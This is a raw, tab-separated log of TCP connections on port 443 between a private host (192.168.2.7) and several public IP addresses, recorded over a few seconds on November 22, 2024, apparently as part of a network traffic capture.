Nov 22, 2024 01:02:29.167952061 CET	49723	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:29.167973042 CET	443	49723	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:29.167987108 CET	49723	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:29.167994022 CET	443	49723	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:29.170427084 CET	49729	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:29.170480013 CET	443	49729	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:29.170593977 CET	49729	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:29.170766115 CET	49729	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:29.170789003 CET	443	49729	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:29.243268013 CET	443	49727	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:29.243680000 CET	49727	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:29.243702888 CET	443	49727	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:29.244107962 CET	49727	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:29.244113922 CET	443	49727	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:29.465776920 CET	443	49724	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:29.465889931 CET	443	49724	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:29.465962887 CET	49724	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:29.466077089 CET	49724	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:29.466077089 CET	49724	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:29.466114998 CET	443	49724	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:29.466140985 CET	443	49724	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:29.467303038 CET	443	49726	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:29.467390060 CET	443	49726	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:29.467447042 CET	49726	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:29.467499018 CET	49726	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:29.467516899 CET	443	49726	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:29.467561007 CET	49726	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:29.467573881 CET	443	49726	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:29.468574047 CET	49730	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:29.468601942 CET	443	49730	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:29.468657970 CET	49730	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:29.468801022 CET	49730	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:29.468811989 CET	443	49730	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:29.469546080 CET	49731	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:29.469584942 CET	443	49731	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:29.469670057 CET	49731	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:29.469753027 CET	49731	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:29.469769955 CET	443	49731	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:29.495042086 CET	443	49725	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:29.495090008 CET	443	49725	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:29.495136023 CET	49725	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:29.495239019 CET	49725	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:29.495244980 CET	443	49725	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:29.495254993 CET	49725	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:29.495258093 CET	443	49725	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:29.496835947 CET	49732	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:29.496866941 CET	443	49732	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:29.496943951 CET	49732	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:29.497050047 CET	49732	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:29.497061014 CET	443	49732	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:29.696393013 CET	443	49727	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:29.696465969 CET	443	49727	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:29.696535110 CET	49727	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:29.696636915 CET	49727	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:29.696649075 CET	443	49727	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:29.696677923 CET	49727	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:29.696682930 CET	443	49727	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:29.698834896 CET	49733	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:29.698906898 CET	443	49733	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:29.698988914 CET	49733	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:29.699136972 CET	49733	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:29.699161053 CET	443	49733	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:29.747409105 CET	443	49728	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:29.747629881 CET	49728	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:29.933780909 CET	49734	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:29.933801889 CET	443	49734	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:29.933873892 CET	49734	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:29.934127092 CET	49734	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:29.934138060 CET	443	49734	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:30.950459003 CET	443	49729	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:30.951185942 CET	49729	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:30.951217890 CET	443	49729	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:30.951848030 CET	49729	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:30.951858997 CET	443	49729	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:31.200849056 CET	443	49734	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:31.200984001 CET	49734	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:31.203567982 CET	49734	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:31.203573942 CET	443	49734	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:31.204284906 CET	443	49734	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:31.206254005 CET	49734	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:31.206461906 CET	49734	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:31.206499100 CET	443	49734	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:31.206577063 CET	49734	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:31.206582069 CET	443	49734	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:31.252559900 CET	443	49730	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:31.253369093 CET	49730	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:31.253376961 CET	443	49730	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:31.254118919 CET	49730	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:31.254122019 CET	443	49730	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:31.274586916 CET	443	49732	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:31.275372982 CET	49732	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:31.275397062 CET	443	49732	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:31.275979996 CET	49732	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:31.275986910 CET	443	49732	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:31.319041014 CET	443	49731	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:31.319629908 CET	49731	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:31.319638968 CET	443	49731	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:31.320143938 CET	49731	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:31.320149899 CET	443	49731	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:31.393955946 CET	443	49729	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:31.394006014 CET	443	49729	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:31.394108057 CET	49729	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:31.394445896 CET	49729	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:31.394463062 CET	443	49729	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:31.399101973 CET	49735	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:31.399161100 CET	443	49735	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:31.399241924 CET	49735	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:31.399456024 CET	49735	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:31.399487972 CET	443	49735	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:31.415353060 CET	443	49733	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:31.415908098 CET	49733	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:31.415925980 CET	443	49733	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:31.416429996 CET	49733	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:31.416441917 CET	443	49733	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:31.697113037 CET	443	49730	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:31.698046923 CET	443	49730	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:31.698136091 CET	49730	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:31.698199987 CET	49730	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:31.698211908 CET	443	49730	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:31.698221922 CET	49730	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:31.698225975 CET	443	49730	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:31.701930046 CET	49736	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:31.701977015 CET	443	49736	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:31.702120066 CET	49736	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:31.702336073 CET	49736	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:31.702353954 CET	443	49736	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:31.719903946 CET	443	49732	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:31.719945908 CET	443	49732	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:31.720043898 CET	49732	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:31.720365047 CET	49732	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:31.720365047 CET	49732	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:31.720385075 CET	443	49732	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:31.720395088 CET	443	49732	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:31.723889112 CET	49737	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:31.723911047 CET	443	49737	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:31.723993063 CET	49737	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:31.724153042 CET	49737	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:31.724163055 CET	443	49737	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:31.778404951 CET	443	49731	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:31.778451920 CET	443	49731	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:31.778557062 CET	49731	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:31.778846979 CET	49731	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:31.778876066 CET	443	49731	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:31.778903008 CET	49731	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:31.778918028 CET	443	49731	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:31.782087088 CET	49738	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:31.782125950 CET	443	49738	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:31.782227993 CET	49738	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:31.782443047 CET	49738	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:31.782461882 CET	443	49738	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:31.850383997 CET	443	49733	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:31.850464106 CET	443	49733	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:31.850541115 CET	49733	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:31.850752115 CET	49733	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:31.850780964 CET	443	49733	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:31.850807905 CET	49733	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:31.850830078 CET	443	49733	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:31.853621006 CET	49739	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:31.853645086 CET	443	49739	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:31.853741884 CET	49739	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:31.853877068 CET	49739	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:31.853888988 CET	443	49739	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:32.129319906 CET	443	49734	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:32.129558086 CET	443	49734	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:32.129631996 CET	49734	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:32.129693031 CET	49734	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:32.129702091 CET	443	49734	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:32.629245996 CET	49740	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:32.629300117 CET	443	49740	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:32.629405975 CET	49740	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:32.629791021 CET	49740	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:32.629822969 CET	443	49740	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:33.116261005 CET	443	49735	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:33.117386103 CET	49735	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:33.117419958 CET	443	49735	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:33.118062973 CET	49735	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:33.118073940 CET	443	49735	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:33.287307024 CET	443	49736	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:33.288048983 CET	49736	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:33.288073063 CET	443	49736	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:33.288532972 CET	49736	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:33.288539886 CET	443	49736	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:33.550105095 CET	443	49735	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:33.550147057 CET	443	49735	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:33.550278902 CET	49735	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:33.550618887 CET	49735	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:33.550643921 CET	443	49735	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:33.550658941 CET	49735	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:33.550673962 CET	443	49735	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:33.553703070 CET	49741	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:33.553720951 CET	443	49741	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:33.553807974 CET	49741	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:33.554008007 CET	49741	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:33.554013968 CET	443	49741	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:33.559082985 CET	443	49738	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:33.559484959 CET	49738	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:33.559505939 CET	443	49738	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:33.560028076 CET	49738	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:33.560033083 CET	443	49738	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:33.572711945 CET	443	49737	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:33.573322058 CET	49737	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:33.573343039 CET	443	49737	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:33.573812008 CET	49737	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:33.573816061 CET	443	49737	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:33.636032104 CET	443	49739	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:33.636619091 CET	49739	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:33.636636019 CET	443	49739	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:33.637144089 CET	49739	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:33.637149096 CET	443	49739	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:33.731609106 CET	443	49736	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:33.731673956 CET	443	49736	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:33.731805086 CET	49736	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:33.732081890 CET	49736	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:33.732081890 CET	49736	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:33.732110023 CET	443	49736	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:33.732121944 CET	443	49736	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:33.735085964 CET	49742	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:33.735126019 CET	443	49742	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:33.735232115 CET	49742	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:33.735361099 CET	49742	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:33.735378027 CET	443	49742	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:33.902439117 CET	443	49740	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:33.902558088 CET	49740	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:33.912851095 CET	49740	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:33.912873030 CET	443	49740	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:33.913233995 CET	443	49740	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:33.915021896 CET	49740	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:33.915132999 CET	49740	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:33.915143013 CET	443	49740	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:34.032918930 CET	443	49737	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:34.032970905 CET	443	49737	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:34.033181906 CET	49737	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:34.033598900 CET	49737	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:34.033598900 CET	49737	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:34.033612013 CET	443	49737	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:34.033618927 CET	443	49737	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:34.036873102 CET	49743	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:34.036900997 CET	443	49743	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:34.036998987 CET	49743	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:34.037189960 CET	49743	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:34.037203074 CET	443	49743	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:34.056689024 CET	443	49738	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:34.056740999 CET	443	49738	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:34.056796074 CET	49738	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:34.057005882 CET	49738	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:34.057005882 CET	49738	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:34.057032108 CET	443	49738	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:34.057039022 CET	443	49738	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:34.060369968 CET	49744	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:34.060384989 CET	443	49744	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:34.060457945 CET	49744	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:34.060614109 CET	49744	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:34.060623884 CET	443	49744	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:34.082155943 CET	443	49739	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:34.082308054 CET	443	49739	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:34.082357883 CET	49739	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:34.082427979 CET	49739	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:34.082433939 CET	443	49739	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:34.082444906 CET	49739	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:34.082448959 CET	443	49739	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:34.085433960 CET	49745	443	192.168.2.7	4.245.163.56
Nov 22, 2024 01:02:34.085479975 CET	443	49745	4.245.163.56	192.168.2.7
Nov 22, 2024 01:02:34.085558891 CET	49745	443	192.168.2.7	4.245.163.56
Nov 22, 2024 01:02:34.086246967 CET	49746	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:34.086258888 CET	443	49746	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:34.086313963 CET	49746	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:34.086633921 CET	49746	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:34.086642027 CET	443	49746	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:34.087688923 CET	49745	443	192.168.2.7	4.245.163.56
Nov 22, 2024 01:02:34.087703943 CET	443	49745	4.245.163.56	192.168.2.7
Nov 22, 2024 01:02:34.175451040 CET	49677	443	192.168.2.7	20.50.201.200
Nov 22, 2024 01:02:34.418374062 CET	49703	443	192.168.2.7	104.98.116.138
Nov 22, 2024 01:02:34.419064045 CET	49747	443	192.168.2.7	104.98.116.138
Nov 22, 2024 01:02:34.419153929 CET	443	49747	104.98.116.138	192.168.2.7
Nov 22, 2024 01:02:34.419233084 CET	49747	443	192.168.2.7	104.98.116.138
Nov 22, 2024 01:02:34.420880079 CET	49747	443	192.168.2.7	104.98.116.138
Nov 22, 2024 01:02:34.420912981 CET	443	49747	104.98.116.138	192.168.2.7
Nov 22, 2024 01:02:34.537980080 CET	443	49703	104.98.116.138	192.168.2.7
Nov 22, 2024 01:02:34.829976082 CET	443	49740	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:34.830251932 CET	443	49740	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:34.830477953 CET	49740	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:34.830477953 CET	49740	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:35.144161940 CET	49740	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:35.144222021 CET	443	49740	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:35.269819975 CET	443	49741	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:35.284527063 CET	49741	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:35.284535885 CET	443	49741	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:35.285459042 CET	49741	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:35.285465002 CET	443	49741	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:35.359740973 CET	49748	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:35.359777927 CET	443	49748	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:35.359911919 CET	49748	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:35.360205889 CET	49748	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:35.360222101 CET	443	49748	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:35.450071096 CET	443	49742	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:35.450604916 CET	49742	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:35.450618982 CET	443	49742	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:35.451051950 CET	49742	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:35.451057911 CET	443	49742	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:35.775070906 CET	443	49744	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:35.775540113 CET	49744	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:35.775561094 CET	443	49744	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:35.776051998 CET	49744	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:35.776062012 CET	443	49744	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:35.815723896 CET	443	49743	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:35.816181898 CET	49743	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:35.816194057 CET	443	49743	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:35.816443920 CET	49743	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:35.816447973 CET	443	49743	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:35.871715069 CET	443	49746	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:35.872064114 CET	49746	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:35.872087955 CET	443	49746	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:35.872430086 CET	49746	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:35.872435093 CET	443	49746	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:35.885029078 CET	443	49742	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:35.885200024 CET	443	49742	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:35.885265112 CET	49742	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:35.885297060 CET	49742	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:35.885317087 CET	443	49742	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:35.885329008 CET	49742	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:35.885337114 CET	443	49742	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:35.887675047 CET	49749	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:35.887698889 CET	443	49749	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:35.887769938 CET	49749	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:35.887914896 CET	49749	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:35.887926102 CET	443	49749	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:35.894808054 CET	443	49745	4.245.163.56	192.168.2.7
Nov 22, 2024 01:02:35.894874096 CET	49745	443	192.168.2.7	4.245.163.56
Nov 22, 2024 01:02:35.896485090 CET	49745	443	192.168.2.7	4.245.163.56
Nov 22, 2024 01:02:35.896495104 CET	443	49745	4.245.163.56	192.168.2.7
Nov 22, 2024 01:02:35.896888971 CET	443	49745	4.245.163.56	192.168.2.7
Nov 22, 2024 01:02:35.906316996 CET	443	49741	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:35.907040119 CET	443	49741	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:35.907119036 CET	49741	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:35.907119989 CET	49741	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:35.907161951 CET	49741	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:35.907181978 CET	443	49741	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:35.908979893 CET	49750	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:35.909001112 CET	443	49750	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:35.909188032 CET	49750	443	192.168.2.7	13.107.246.63
